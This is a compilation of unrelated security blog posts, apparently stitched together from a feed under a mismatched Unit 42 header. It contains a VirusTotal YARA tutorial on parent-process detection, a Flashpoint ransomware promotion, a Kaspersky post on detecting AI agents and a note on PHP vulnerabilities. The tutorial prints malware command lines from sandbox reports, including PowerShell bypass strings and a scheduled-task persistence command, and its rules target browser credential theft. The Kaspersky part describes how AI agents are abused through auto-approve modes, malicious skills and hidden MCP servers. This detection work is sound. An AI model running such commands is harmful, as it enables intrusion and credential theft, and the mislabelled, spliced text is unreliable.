Unit 42 details recent threat intelligence, highlighting cyberespionage, financial extortion, and the rapid adoption of AI across offensive workflows.
The post Unit 42 Threat Intelligence Highlights - Nov. 2, 2026 appeared first on Unit 42.
Login
vt.behaviour.processes_created. It is a flat list of command lines. It tells you that mshta.exe ran and that powershell.exe ran, but not that one started the other. For a lot of detections that is the whole point: PowerShell on its own is noise, PowerShell launched by mshta.exe is not.vt.behaviour.processes_list: one entry per process, from every sandbox that ran the file, and each entry knows the name of its parent, the names of its ancestors, and the files it touched.| Field | Type | What it holds |
|---|---|---|
name |
string | The process, as the sandbox reports it. Usually the image path plus the command line. |
parent_name |
string | The name of the process that created this one. Empty for root processes and when the parent is unknown. |
ancestor_names |
array of strings | The names of its ancestors, nearest first: ancestor_names[0] is the parent (the same as parent_name), ancestor_names[1] the grandparent, and so on. Empty for root processes and when the parent is unknown. |
process_id / parent_process_id |
string | PIDs, as reported by the sandbox. |
start_time / termination_time |
integer | When the process started and ended, if known. |
files_written |
array of strings | Files this process created or modified. |
files_opened |
array of strings | Files this process opened. |
files_deleted |
array of strings | Files this process deleted. |
files_copied[x].source / .destination |
string | Files this process copied, when the sandbox attributes copies to a process. |
parent_name, ancestor_names and the per-process file lists. With them, "PowerShell wrote a .dll" becomes "the PowerShell that cmd.exe started wrote a .dll".import "vt"
rule cmd_spawns_schtasks_create {
condition:
for any p in vt.behaviour.processes_list : (
p.name icontains "schtasks" and
p.name icontains "/create" and
p.parent_name icontains "cmd.exe"
)
}
%ComSpec% /c ...). Use icontains and match on the executable name, not on a full path with == or startswith.cmd.exe in one report and explorer.exe in another. To go more than one level up, use ancestor_names: it is built from each sandbox report on its own, so a chain never mixes processes from different sandboxes. For long chains, you can also climb by name: look for the entry whose name is equal to the parent_name you already have. Both strings come from the same sandbox report, so an exact == is safe there.behavior_processes:"<command line>", which matches anywhere in the list with no hierarchy. It is a quick way to collect candidates. Then you write the rule with the parent condition, and test it against those hashes in the Livehunt editor.03cc0c25-389f-4bf8-b48d-11878079f1ca) is a good example of a detection that needs the parent. Stripped down, it says: the parent image ends with \mshta.exe and the child is a shell or a scripting host.detection:
selection_parent:
ParentImage|endswith: '\mshta.exe'
selection_child:
- Image|endswith:
- '\cmd.exe'
- '\powershell.exe'
- '\pwsh.exe'
- '\wscript.exe'
- '\cscript.exe'
- '\sh.exe'
- '\bash.exe'
- '\reg.exe'
- '\regsvr32.exe'
- '\bitsadmin.exe'
condition: all of selection*
ParentImage to parent_name and Image to name:import "vt"
rule mshta_spawns_shell {
meta:
description = "Port of Sigma 03cc0c25 (Suspicious MSHTA Child Process)"
condition:
for any p in vt.behaviour.processes_list : (
p.parent_name icontains "mshta.exe" and
(
p.name icontains "cmd.exe" or
p.name icontains "powershell" or
p.name icontains "pwsh" or
p.name icontains "wscript" or
p.name icontains "cscript" or
p.name icontains "bash.exe" or
p.name icontains "reg.exe" or
p.name icontains "regsvr32" or
p.name icontains "bitsadmin"
)
)
}
OriginalFileName to catch renamed binaries, and sandbox process names have no equivalent. A renamed mshta.exe will get past this rule.d30a0a6c09f664446943d82982f0630e85c447cbe84be8a74b6db6d66effbe80, an Excel file named NOVI USD 44570.00 952PLA3262852510.xls (18/76, tagged cve-2017-0199). It matches. What is more interesting is the CAPE process tree behind the match:| Process | Parent |
|---|---|
EXCEL.EXE "...\attachment.xls" /dde |
Explorer.EXE |
mshta.exe -Embedding |
svchost.exe -k DcomLaunch -p |
cmd.exe "/c POwERSHeLl.Exe ... -EX BypaSS -nOp -w 1 -ec ..." |
mshta.exe -Embedding |
POwERSHeLl.Exe ... -ec ... |
cmd.exe |
WScript.exe "...\AppData\Roaming\westingcostringforme.vbe" |
POwERSHeLl.Exe |
powershell.exe -nop -ep bypass -file "C:\Temp\XBRYINEZ.ps1" |
WScript.exe |
aspnet_compiler.exe |
powershell.exe -file ...XBRYINEZ.ps1 |
mshta.exe. The exploit has Office request an object through DCOM, so mshta.exe is started by the DCOM launcher service, and it shows up with -Embedding. A rule that looks for "Office spawns mshta" would never fire on this document. What we can do is walk one level up from the shell and check the grandparent:import "vt"
rule dcom_mshta_spawns_shell {
condition:
for any p in vt.behaviour.processes_list : (
(p.name icontains "cmd.exe" or p.name icontains "powershell") and
p.parent_name icontains "mshta.exe" and
p.ancestor_names[1] icontains "svchost.exe" and
p.ancestor_names[1] icontains "dcomlaunch"
)
}
ancestor_names is always the parent, so ancestor_names[1] is the grandparent: the process that started mshta.exe. Without it, you need a second loop over the list to find the entry whose name is the shell's parent_name, and one more loop for every extra level.8d249972358268b7a00e182e3f1ecf93ec8bbbee65d22ef4d8a3c382783c1cfa (PO#3302-20260520002.xls), 2d199776cc50b9ad548132105e95af86b29ec8ebca03895a7ddecde58587306b (Request Quotation.xls) and 7c8a3c8366b3106db56359e3defc654d365ce4de21d0a7b1fbad02fbb2aeae52. The rest of that chain shows up again in cases 4 and 5.services.exe is started by wininit.exe and by nothing else. A services.exe with any other parent deserves a look:import "vt"
rule fake_services_wrong_parent {
condition:
for any p in vt.behaviour.processes_list : (
p.name iendswith "\\services.exe" and
p.parent_name != "" and
not p.parent_name icontains "wininit.exe"
)
}
parent_name != "" check matters. In the reports we looked at, the real services.exe shows up as a root process with no parent, and we don't want those to match.lsass.exe. We tested it against 43 recent, clean, signed files, and it matched 19 of them. In those reports the sandbox records lsass.exe with services.exe as its parent. Whatever the reason, that is what the data says, so we dropped lsass.exe from the rule. The lesson is a general one: before encoding what the parent "should" be, check what the sandboxes actually report for clean files.fe8357febe314becf31510a7a2ecb0369e312ad58a448292f5f8a09075d7694c, a .NET executable (45/76) submitted as Cd5KK.exe. In the Jujubox report, Cd5KK.exe starts C:\Windows\System32\NlsLexicons0c1a\services.exe. That process writes two .vbs files to %TEMP% and runs each one with WScript.exe, and one of the scripts starts the fake services.exe again. The sample also launches one PowerShell per path to add Defender exclusions, and in the CAPE report it creates ONLOGON scheduled tasks through WMI, with wmiprvse.exe as the parent of schtasks.exe.services.exe come from? Jujubox does not attribute file copies to a process, but it does report them at the summary level, in vt.behaviour.files_copied. Cd5KK.exe copied itself to eight places, each one with the name of a Windows binary:C:\Windows\System32\NlsLexicons0c1a\services.exe C:\System Volume Information\services.exe C:\Windows\system\smss.exe C:\Windows\System32\mfc42\taskeng.exe C:\Users\Default User\WmiPrvSE.exe C:\Program Files\Common Files\System\ado\en-US\WmiPrvSE.exe C:\PerfLogs\Admin\sysmon.exe C:\Users\<USER>\Downloads\patchregistry\event-stream.exe
import "vt"
rule copy_with_system_name_is_executed {
condition:
for any c in vt.behaviour.files_copied : (
(
c.destination iendswith "\\services.exe" or
c.destination iendswith "\\smss.exe" or
c.destination iendswith "\\lsass.exe" or
c.destination iendswith "\\csrss.exe" or
c.destination iendswith "\\svchost.exe" or
c.destination iendswith "\\wmiprvse.exe" or
c.destination iendswith "\\taskhostw.exe" or
c.destination iendswith "\\conhost.exe"
) and
for any p in vt.behaviour.processes_list : (
p.name icontains c.destination and
p.parent_name != ""
)
)
}
services.exe path in their Jujubox file activity: it matched 9 of them, among them 4930cc4e7e3e258bf2815793f0e5698bdd45adfae8e052bb1dc4c05c6689ade6, which shares the trojan.msil/basic label with Cd5KK.exe and also matches the services.exe parent rule above. It did not match any of the 43 clean files.conhost.exe --headless runs a console program without showing a window. Sigma has a rule that looks for --headless and powershell in the conhost.exe command line. With the parent available, we can ask a slightly different question: did a PowerShell process actually start with a headless console as its parent?import "vt"
rule headless_console_runs_powershell {
condition:
for any p in vt.behaviour.processes_list : (
(p.name icontains "powershell" or p.name icontains "pwsh") and
p.parent_name icontains "--headless"
)
}
behavior_processes:"conhost.exe --headless" fs:2026-09-01+ returned 947 files when we ran it. Part of that is legitimate software. Terminal emulators use pseudo-consoles, which start conhost.exe --headless --inheritcursor ... --server .... herdr.exe (c18555a6bb74cd021198b57d16b93b40e74e7d0f8f0c28a45f0a4cc22dea0f8b, 0/76) does exactly that, and the rule above does not match it, because that conhost.exe never starts a shell.5c2ceaec797dfa79e81cde6d765898ee8102357e280fa322db6e5a4b0ce3fc4a is a Windows shortcut with a Korean-language lure about penalty guidelines for e-commerce law violations, named with a double .hwp.lnk extension (34/76). CAPE and Jujubox both show the same chain: opening the shortcut starts conhost.exe --headless powershell.exe -NoP -exec BYpass -w 1 -C $rukp = '...', and that console starts the PowerShell that runs the Base64 blob. The decoded script opens with a function called Invoke-EnvironmentCheck.--headless in the parent, not for conhost.exe. That is deliberate. 77da8a02d71078564409863c358a544e981b9643c8f50c1daabc5d5d176e3c75 (42/76) drops a file called rhpmx63snl.exe into %APPDATA%\MicrosoftWorker_e08ec640d\. That file is 51bb5aeef2e48dd14fae764f80dc67f516df9914ea9c350329e229f6cea919a2, an unmodified Microsoft conhost.exe (original name CONHOST.EXE, 0/77) with a random name. It later runs as rhpmx63snl.exe --headless powershell.exe -w h -ep bypass -c & "...\xd24mgasgb4.exe". A rule that required conhost.exe in the parent would miss it. If you only want the renamed case, add not p.parent_name icontains "conhost".schtasks /create is easy. Knowing whether the task did anything during the analysis is harder, and the process list can answer it. When a scheduled task fires, the new process has the Task Scheduler service as its parent (svchost.exe -k netsvcs -p -s Schedule, or taskeng.exe on older systems). If that process runs a file the sample wrote earlier, the persistence worked.import "vt"
rule task_scheduler_runs_dropped_file {
condition:
for any run in vt.behaviour.processes_list : (
(
run.parent_name icontains "-s schedule" or
run.parent_name icontains "taskeng.exe"
) and
for any dropper in vt.behaviour.processes_list : (
for any f in dropper.files_written : (
(f iendswith ".exe" or f iendswith ".dll" or f iendswith ".vbs" or
f iendswith ".js" or f iendswith ".ps1" or f iendswith ".bat" or
f iendswith ".cmd") and
run.name icontains f
)
)
)
}
files_written, and it uses it to link two processes that are not parent and child: the one that wrote the file, and the one the scheduler started from it.77da8a02d71078564409863c358a544e981b9643c8f50c1daabc5d5d176e3c75. In the CAPE report, software.exe writes rhpmx63snl.exe and xd24mgasgb4.exe to %APPDATA%\MicrosoftWorker_e08ec640d\, and then runs:schtasks.exe /create /sc minute /mo 1 /tn "AdobeSecurityManager" /tr "C:\Users\<USER>\AppData\Roaming\MicrosoftWorker_e08ec640d\rhpmx63snl.exe --headless powershell.exe -w h -ep bypass -c & '...\xd24mgasgb4.exe'"
rhpmx63snl.exe (the renamed conhost.exe from case 3), which starts PowerShell, which starts xd24mgasgb4.exe. Every link in that sentence is a parent_name, and the rule matches. The whole chain is also in the ancestor_names of xd24mgasgb4.exe: the PowerShell, rhpmx63snl.exe, the Schedule service and services.exe.rhpmx63snl.exe as a root process with no parent. That is fine: CAPE has the link, and the rule only needs one sandbox to see it. It also shows why you shouldn't write rules that need every sandbox to agree.a549a6c8c01da1d03e8da663eec70997a5bd5207e665d8e23f6fa75804dafc06, a VBS file we use in the next case, also creates a task that fires during the VMRay analysis, with taskeng.exe as the parent. The rule misses it, because VMRay logged that command line with doubled backslashes (C:\\Users\\Public\\Downloads\\PoItWjNFjv.vbs), so the path in files_written is not a substring of the process name. When a rule should match and does not, check the raw strings first. Here ancestor_names gives a check that does not depend on how paths are written: the task runs wscript.exe with the dropped script, the script starts PowerShell, and taskeng.exe is among that PowerShell's ancestors. A PowerShell process with for any a in p.ancestor_names : (a icontains "taskeng.exe") catches it.MSBuild.exe, RegAsm.exe, RegSvcs.exe, InstallUtil.exe or aspnet_compiler.exe. On their own, these processes are normal on a developer machine. Started by PowerShell or a scripting host, and writing temporary copies of browser credential databases, they are not.import "vt"
rule dotnet_lolbin_touches_browser_logins {
condition:
for any p in vt.behaviour.processes_list : (
(
p.name icontains "aspnet_compiler.exe" or
p.name icontains "regasm.exe" or
p.name icontains "regsvcs.exe" or
p.name icontains "msbuild.exe" or
p.name icontains "installutil.exe" or
p.name icontains "addinprocess"
) and
for any a in p.ancestor_names : (
a icontains "powershell" or
a icontains "wscript" or
a icontains "cscript" or
a icontains "mshta"
) and
for any f in p.files_written : (
f icontains "\\User Data\\" and
(f icontains "\\Login Data" or f icontains "\\Web Data" or f icontains "\\Cookies")
)
)
}
behaviour_files:"Login Data" together with behavior_processes:"MSBuild.exe" can match a file where those two things happened in unrelated processes.a549a6c8c01da1d03e8da663eec70997a5bd5207e665d8e23f6fa75804dafc06, a VBS file named RFQ_638O-0194RFQ26_202610070614034439RFQ.vbs (14/76). In the CAPE report, a hidden PowerShell that rebuilds its script from environment variables is started through WMI (its parent is wmiprvse.exe), and that PowerShell starts MSBuild.exe, which writes ...\Google\Chrome\User Data\Default\Login Data.tmp and the matching -wal and -shm files. It also matches the Excel file from case 1, d30a0a6c09f664446943d82982f0630e85c447cbe84be8a74b6db6d66effbe80, where the last process in the chain, aspnet_compiler.exe, writes the same files. In that file, the ancestor_names of aspnet_compiler.exe go all the way back to the exploit: the PowerShell running XBRYINEZ.ps1, WScript.exe, the obfuscated PowerShell, cmd.exe and mshta.exe -Embedding.2d199776cc50b9ad548132105e95af86b29ec8ebca03895a7ddecde58587306b, the Request Quotation.xls from case 1. There, the process that writes the Chrome and Edge Login Data and Web Data files is a second aspnet_compiler.exe, started with /stext by the first one. Its parent is aspnet_compiler.exe, so a rule that only looks at parent_name misses it, while the PowerShell and WScript.exe above it are its second and third ancestors. On the 420 malicious and 324 clean files we used to measure ancestor_names, this version matched 5 malicious files that the parent-only version missed, and none of the clean ones.vt module for the hash you give it, so it works for files analyzed before these fields existed. Second, in a live Livehunt ruleset with all the rules. Within a few minutes of enabling it we were already getting notifications for mshta_spawns_shell, dcom_mshta_spawns_shell, task_scheduler_runs_dropped_file and others. The ancestor_names versions of the rules were also run with YARA-X 1.22.0 against the same hashes and 324 clean files.vt module view of any file you are investigating, find the processes_list entry that bothers you, and write the rule from there.
Table Of ContentsRansomware operators are scaling their attacks, and the barriers to entry continue to fall. In the first half of 2026, Flashpoint identified 6,256 ransomware attacks across industries, representing a 45% increase between 2025 and 2026, as Ransomware-as-a-Service (RaaS) operations expanded and threat actors increasingly leveraged AI, stolen credentials, and vulnerability exploits to accelerate their campaigns.
The impact is widespread. Manufacturing accounted for 18% of observed attacks, followed by business services and consulting (13%) and healthcare (9%). Meanwhile, prolific ransomware groups such as Qilin and Akira continue to demonstrate the scale at which these operations can function.
Understanding how ransomware attacks develop, and where they can be interrupted, is critical for defenders.
Flashpoint’s new guide, Ransomware in the Age of AI: A Survival Guide for Defenders, provides cyber threat intelligence professionals, threat hunters, and security leaders with a practical look at the modern ransomware attack lifecycle, from initial reconnaissance and access to incident response and recovery.
Drawing on Flashpoint’s primary-source intelligence and analysis of evolving threat actor tactics, the guide explores how organizations can identify opportunities to disrupt attacks before they escalate, strengthen incident response, and reduce the risk of repeat compromise.
Access the guide to learn:
“In H1 2026, Flashpoint observed a 45% surge in ransomware activity, with critical sectors like manufacturing, business consulting, and healthcare taking the brunt of these attacks. As RaaS syndicates like Qilin and Akira scale their operations alongside a 27% rise in infostealers, access is becoming faster and cheaper. Effective defense requires grounding incident response in primary-source intelligence across every phase of the attack lifecycle.”
Ian GrayVP of Intelligence, Flashpoint
Ransomware attacks rarely begin with encryption. Long before systems are locked or ransom demands appear, threat actors may be gathering intelligence on potential targets, exploiting exposed vulnerabilities, or acquiring stolen credentials through underground marketplaces.
Flashpoint observed a 27% increase in infostealer operations in H1 2026 compared to H1 2025, underscoring the growing role of compromised identities in the ransomware ecosystem. Stolen credentials and session data can provide attackers with access to organizational environments, potentially allowing them to bypass traditional defenses and establish a foothold.
These initial access methods are increasingly interconnected with broader criminal operations. RaaS groups can leverage specialized tools and services throughout the attack chain, while AI-enabled capabilities offer additional opportunities to automate and accelerate certain activities.
This creates multiple opportunities for defenders to act. Intelligence about exposed credentials, emerging exploitation activity, and threat actor behavior can help security teams identify risks earlier and prioritize defensive action before an intrusion progresses.
The guide examines these opportunities across the ransomware lifecycle, outlining how proactive intelligence and coordinated response can help organizations minimize operational disruption and strengthen resilience.
As ransomware operations continue to evolve, organizations need visibility into the threats targeting their environments and the intelligence to respond at every stage of an attack.
From identifying compromised credentials and monitoring emerging threats to containing incidents and preventing repeat attacks, a lifecycle-based approach helps security teams make more informed decisions before, during, and after a ransomware incident.
Get the Ransomware in the Age of AI: A Survival Guide for Defenders to explore the modern ransomware attack lifecycle and learn how Flashpoint’s threat intelligence can help your organization anticipate, disrupt, and recover from ransomware attacks.
The post Ransomware in the Age of AI: How Defenders Can Break the Attack Chain appeared first on Flashpoint.
AI agents and associated tooling are becoming increasingly common in corporate infrastructure. Agents can perform a range of actions with the user’s privileges, such as accessing data, running commands, and interacting with external services. This creates new security risks, especially when these tools are used without the security team’s oversight or well-designed policies.
Detecting, tracking, and controlling AI agents is becoming one of the most pressing tasks for security teams today. We closely follow technological developments and continuously update our solutions to respond to new threats in a timely manner amid a rapidly changing technology landscape. This post describes new expertise built into Kaspersky products that helps counter the threats posed by the proliferation of AI agents. We approach this problem from several angles.
First, you need to thoroughly understand the threat you are dealing with. To this end, we added profiles to the Kaspersky Threat Intelligence Portal that describe various AI agents and how attackers exploit them. At their core, AI agents are programs (processes) that run in the operating system on endpoints and can also launch other processes. This means that Endpoint Detection and Response solutions are among the key endpoint controls for this threat. These solutions detect the presence and launch of AI agents, track their activity, and identify potentially dangerous behavior. When needed, they also take action, such as stopping a suspicious process, blocking the activity, or isolating the host, to reduce the likelihood of an incident escalating. For this purpose, we developed specially adapted detection rules.
You can use Kaspersky Endpoint Security, now also available as Kaspersky Next, to control and restrict the launch of AI agents. This solution uses two components to detect AI agents and control how they are used. Application Control categorizes the application processes launched on endpoints, and Web Control manages access to specific categories of web resources for users on endpoints.
Finally, even harmless AI agents can contain malicious instructions (skills), such as those downloaded from unsafe external sources. Kaspersky Scan Engine analyzes installed applications to detect these threats and also checks LLM files for malicious code. Let’s take a closer look at these solutions and technologies.
Tools from Anthropic and OpenAI take the top spots in the September 2026 ranking of AI agents by popularity among Kaspersky users. This list is based on telemetry from Kaspersky solutions. It shows the number of users who had the relevant AI vendors’ products installed at the time of the study.
| # | AI product |
| 1 | Claude |
| 2 | Claude Code |
| 3 | Codex |
| 4 | OpenCode |
| 5 | Zed |
| 6 | Wispr Flow |
| 7 | LM Studio |
| 8 | ZCode |
| 9 | Chatbox |
| 10 | Cherry Studio |
The data shows that agentic systems, especially AI agents for software development, are the most popular AI applications. The TOP 10 also includes an application for running large language models locally (LM Studio) and a voice note-taking app (Wispr Flow).
According to open sources, these are the most widely used AI services in 2026:
| # | AI service |
| 1 | ChatGPT |
| 2 | Google Gemini |
| 3 | Claude |
| 4 | Grammarly |
| 5 | DeepSeek |
While analyzing the most popular and widely used apps, our experts also noticed a sharp rise in vulnerable versions of AI-related software and services. From 2025 to date, more than 2500 vulnerabilities have been published:
Number of published vulnerabilities in LLMs, AI tools, and plugins with similar functionality, 2025–2026 (download)
* Data for previous quarters was updated and may differ slightly from previously published data.
To enforce the organization’s security policy for AI agents and other AI applications on the corporate network, Kaspersky products offer application control based on KL categories. These categories classify installed software and give you granular control over which approved applications can run in the organization.
Application Control analyzes the processes launched on endpoints, tracking which AI agents are running in corporate systems at any given moment, on which hosts, and under which accounts. Application Control also shows how long a given program has been in use.
This makes it easier for the Kaspersky Security Center (KSC) administrator to control applications. Administrators can use KL categories to allow or block AI agents inside the company for specific groups of employees.
Here is what this functionality looks like to KSC administrators:
KL categories available when configuring Application Control
For details on how to configure Application Control in KSC, follow this link.
In Kaspersky Endpoint Security (KES), Application Control can operate in two modes:
Below are the steps to configure Application Control to block AI tools.
Configuring Application Control for the AI Tools category in KES
With this setup, when a user tries to launch an AI agent, they get a notification and the agent doesn’t start.
KES notification about an attempt to launch an AI agent
For more on how to configure Application Control in KES, follow this link. Our public portal also lets you explore information on KL categories and the applications that fall under them, in particular details on how AI agents are categorized and how popular they are.
AI Tools KL category
The View applications drop-down list shows products for a specific vendor.
Similarly, Web Control lets you manage user access to web resources. If a user tries to open a denylisted website, KES blocks access and shows a warning.
KES notification about an attempt to access a prohibited web resource
When configuring access, the administrator can block websites that provide AI as a service.
Website categories
For more on configuring Web Control, follow this link. The help portal also provides information on website categories that can be assigned to resources to configure access control.
To an EDR solution, an AI agent is a regular process. It has its own executable, a tree of child processes, and network communications, all of which need to be monitored for suspicious activity. An attacker can use an AI agent as an automation tool. An AI agent installed as a legitimate user tool can also be leveraged in a ClickFix attack, where it executes a malicious instruction received from an untrusted source, such as a document, web page, or email. That said, unsafe actions by an agent do not always indicate an attack. There may be no malicious intent in the chain at all. An incident can result from what looks like an ordinary instruction from a user who doesn’t fully understand the consequences of having it executed. The mere fact that an agent was launched does not reveal whether it is being used in an attack. That is why Kaspersky EDR (KEDR) uses both conventional behavioral rules and rules written and adapted to detect AI tools. The latter identify risky agent actions and settings, and help determine which AI tool was involved in suspicious activity.
Conventional KEDR rules detect the vast majority of familiar malicious techniques, including when performed by an AI agent. A suspicious PowerShell launch, persistence via Task Scheduler, or an attempt to steal credentials leaves clear, identifiable traces. These traces look the same no matter what initiated the actions. The rules analyze launch parameters, process relationships, affected files, network activity, and other telemetry events.
For example, in a recent Armored Likho campaign, we found signs that AI had been used to create loader and dropper samples, which were later compiled with NSIS (Nullsoft Scriptable Install System). The key telltale artifacts were icons in the scripts and excessive comments on every function, which is uncharacteristic of human-written code. In addition, the group continues to generate new modules for its BusySnake Stealer and BusySnake RAT samples. For example, the attackers used AI to develop a module that runs multiple checks for virtual environment artifacts and calculates a score. Depending on the score, the sample either runs or exits with code 0. Even though the initial access samples, payloads, and their modules were AI-generated, the commands they execute via rundll32 and PowerShell are detected by the shell_creation_by_rundll32 and suspicious_powershell_cmd_or_script_spawning rules.
So, for detecting an attack like this, it is not important who wrote the loader, the payload, or its modules: they are given away by the commands they execute, process relationships, and other traces of activity in the system. AI can be involved both in preparing the code and in carrying out the attack directly on the device.
In the latter case, the attacker uses the agent to carry out their tasks and lets it choose and run the required commands within the privileges it has. For effective protection, it is critical to link suspicious actions back to the AI tool and the conditions under which it operates. In KEDR, several specialized rules handle this task.
We have created separate rules for popular AI agents, ai_agent_*_access_to_sensitive_file_**, where * is the tool name and ** is the operating system. They generate alerts when an agent accesses files that contain credentials, tokens, or keys.
The ai_agent_dangerous_execution_mode rule detects agents launched with auto-approval of all actions (so-called YOLO mode) or with the sandbox disabled. These settings do not indicate an attack on their own, but they let the agent perform dangerous actions without user confirmation.
The suspicious_mcp_server_artifact rule triggers when MCP server scripts are created or modified in hidden, temporary, or cache directories. Attackers can place an MCP server in these locations to quietly connect it to the agent: through the MCP server, they can pass instructions to the agent, call third-party tools, and access the user’s data.
The llm_api_access_by_unusual_apps rule generates an alert when an application on Windows, Linux, or macOS connects to the API of a known external LLM service, unless this activity falls under predefined exclusions. This helps spot model access by applications that do not normally behave this way.
Some Kaspersky EDR rules tag events for investigation but do not generate alerts. For example, the ai_agent_**_execution rules flag launches of known agents on Windows, Linux, and macOS. The local_ai_model_artifact rule records the creation or modification of AI model files in typical application, runtime, and cache directories. These events reveal AI tools on the device, including tools that run on local models and never call an external API.
The Kaspersky Threat Intelligence Portal offers a large number of software profiles, including profiles of AI agents. You can sort them by the ai_ prefix:
AI agent profiles on Kaspersky TIP
The profile of an AI agent such as Claude Desktop includes a detailed description of the software, the privilege level required to run it, supported platforms, and threat actor groups known to use it. It also lists tactics and techniques mapped to the MITRE ATT&CK framework, with descriptions of the procedures the tool can be used for.
Claude profile on Kaspersky TIP
The description also lists ways to detect the software through standard system auditing mechanisms:
The detection section lists the main artifacts the software leaves in the system: command lines, possible launch parameters, names of the services and scheduled tasks it creates, and the key network artifacts.
Detection section in the Claude profile
In December 2025, the Kaspersky Threat Intelligence Portal added Hunt Hub (HH), a repository of detection rules. This is a unique Kaspersky project, and we developed it in response to growing market demand.
This functionality is available in the Threat Landscape section of the portal. It gives analysts access to detection rules: their descriptions and their mapping to MITRE ATT&CK tactics and techniques, as well as to the associated cybercriminal groups.
In the Hunt Hub section, customers can explore the detection logic of EDR, NDR, and NGFW products, including the logic for detecting AI agents.
Rules in the Hunt Hub repository
The rule card provides:
Detection rule card in Hunt Hub
Skills are a key component of the AI agent ecosystem. They’re prewritten sets of natural-language instructions that extend agent functionality. We previously covered the risks that malicious skills pose to agent users. A skill can require the usage of additional programs and services, come with helper scripts (for example, written in Python), or contain a malicious command embedded right in the instruction text. This means that adding skills to an originally harmless AI agent opens up several new ways for malicious code to enter the system. To prevent this, any skills obtained from external sources must be scanned. Kaspersky Scan Engine is well suited for this task. This is a cyberthreat detection and response solution that seamlessly integrates with various applications. It can detect malicious code in agent skills, associated scripts, and in files generated by running agents.
Detection of a malicious agent skill in Kaspersky Scan Engine
Detection of an LLM with malicious code in Kaspersky Scan Engine
AI agents are rapidly making their way into corporate environments: they help employees work faster and take on a wide range of tasks, but they also open up new opportunities for attackers. To take advantage of this technology without compromising security, organizations need to build multi-layered protection and minimize risks. A range of Kaspersky solutions can help with this:
When companies combine the tools described above in a comprehensive approach, they can adopt AI agents in an informed way: with an understanding of the associated risks and effective means of minimizing them.
Table Of ContentsIn the first half of 2026, Flashpoint tracked more than 22 million threat actor posts discussing, sharing, or advertising AI toolkits for criminal deployment. The figure reflects AI’s growing presence across the cybercriminal underground, where adversaries are using new capabilities to accelerate attacks and develop malicious tooling with fewer resources.
For enterprise defenders, these developments are adding pressure to threat intelligence programs already managing high alert volumes, limited analyst capacity, and expanding responsibilities.
During Flashpoint’s recent webinar, we examined the evolving threat landscape alongside findings from Flashpoint’s Global Threat Intelligence Report: 2026 Midyear Edition and new enterprise threat intelligence research.
Missed the live webinar? We’ve rounded up the key takeaways below, and the full session is now available to watch on demand.
AI is helping threat actors develop capabilities and execute attacks faster, reducing the time and expertise required for activities that previously demanded greater resources.
Several developments illustrate the broader shift in cybercrime economics and attack velocity:
AI is primarily accelerating established techniques, particularly during the early stages of the attack chain, including reconnaissance, social engineering, vulnerability discovery, and exploitation.
For defenders, this creates an opportunity to identify and disrupt malicious activity during its preparation stages. However, it also raises expectations around how quickly intelligence teams can recognize emerging threats, prioritize relevant findings, and act before an attack progresses.
AI is also changing how threat actors acquire the skills and capabilities needed to carry out attacks, creating new challenges for intelligence collection.
Historically, underground communities enabled cybercriminals to collaborate, exchange expertise, and obtain specialized services. Increasingly, threat actors can use AI to troubleshoot code, develop malicious tooling, and learn unfamiliar techniques independently, reducing their reliance on public collaboration.
“No longer do they need a community to build up their skills like they previously had. So we’ll see less of the development, and what we do see is a finished tool showing up for sale.”
Ian GrayVP of Intelligence, Flashpoint
Reduced activity in underground communities does not necessarily mean cybercriminal activity is declining. While forums, encrypted messaging platforms, and other illicit communities remain important intelligence sources, collection strategies must account for changes in how and where adversaries develop and distribute their capabilities.
As adversaries accelerate their operations, enterprise threat intelligence teams are contending with growing workloads and limited resources.
Independent research commissioned by Flashpoint surveying threat intelligence budget owners and influencers at large North American enterprises identified several leading operational challenges:
Note: Respondents could select up to three challenges.
High alert volumes, disconnected systems, and manual investigations consume analyst time that could otherwise be spent addressing emerging threats.
As one healthcare threat intelligence leader explained:
“Good analysts take time to develop and train, and we can’t hire our way out of that problem.”
These challenges are prompting organizations to examine how they can improve existing workflows, reduce repetitive investigations, and make better use of analyst expertise.
Despite operational pressures, organizations are continuing to invest in threat intelligence.
Flashpoint’s research found that 50% of respondents expect their threat intelligence budgets to increase over the next 12 months, including 35% anticipating increases of at least 10%. Another 40% expect budgets to remain essentially flat, while 0% anticipate a decrease.
AI-related threats emerged as the leading priority for expanded intelligence coverage, particularly:
Organizations are also investing in additional intelligence feeds, expanded security use cases, and further development of their intelligence programs.
These priorities reinforce the importance of translating AI-related threats into specific intelligence requirements aligned with organizational risk.
Alongside investments in AI-related threat coverage, organizations are exploring how agentic AI can improve their own intelligence operations.
Flashpoint’s research found that:
Early implementations focus primarily on information retrieval, alert prioritization, contextual enrichment, intelligence platform queries, and MITRE ATT&CK mapping.
Organizations remain more cautious about granting agents autonomy over consequential actions, such as blocking IP addresses or changing security controls.
One research participant captured the concern:
“An agent that’s confidently wrong is worse than one that’s slow.”
Accuracy, data privacy, auditability, predictable costs, and human oversight remain central considerations. Organizations also expect AI investments to demonstrate measurable value through time savings, improved efficiency, and faster response.
“We’re out of the phase of treating AI as inherently good and giving it a blank check. Now, it’s about figuring out how to make it work within existing teams, workflows, and priority intelligence requirements.”
Joe Sawyer
Chief Market Officer, Flashpoint
As organizations prepare for 2027, four priorities can help guide threat intelligence planning:
Watch 22 Million Reasons to Rethink Your 2027 Threat Intelligence Strategy for a deeper look at the cybercriminal underground, enterprise threat intelligence investment trends, and practical considerations for agentic AI adoption.
The post Preparing for 2027: Five Trends Shaping Enterprise Threat Intelligence appeared first on Flashpoint.
Two critical vulnerabilities in PHP (CVE-2026-109618 and CVE-2026-109619) have been published. Both vulnerabilities carry a severe CVSS score of 9.2 (more technical details are in the Unit 42 Threat Brief).
This is not just another high-severity vulnerability disclosure, it marks the opening chapter in a massive acceleration of cyberthreats that will define the foreseeable future. Because PHP is widely used globally (by some estimates, more than half of all websites), the sheer scale of this is massive. Navigating this new reality demands immediate imperatives, including continuous, proactive vulnerability discovery before adversaries weaponize code, and a modern defense strategy that pairs traditional patching with real-time virtual patching. At a footprint of 22 million exposed instances, relying on manual remediation cycles alone is not a viable defense.
For context, exposures are typically in the thousands, for example around 50,000 potentially vulnerable exposed instances for recent NetScaler vulnerabilities, and about 16,000 exposed instances of BeyondTrust, potentially vulnerable to CVE-2026-1731. Pervasive open-source software introduces an exposure footprint on an entirely different order of magnitude.
This situation illustrates what I shared in Defender’s Guide to the Frontier AI Impact on Cybersecurity. We’re officially in a new reality, and this is going to be an ongoing cycle.
The latest frontier AI models are extraordinarily capable at finding vulnerabilities in code. We’ll see these models continue to surface critical issues at a pace faster than ever before.
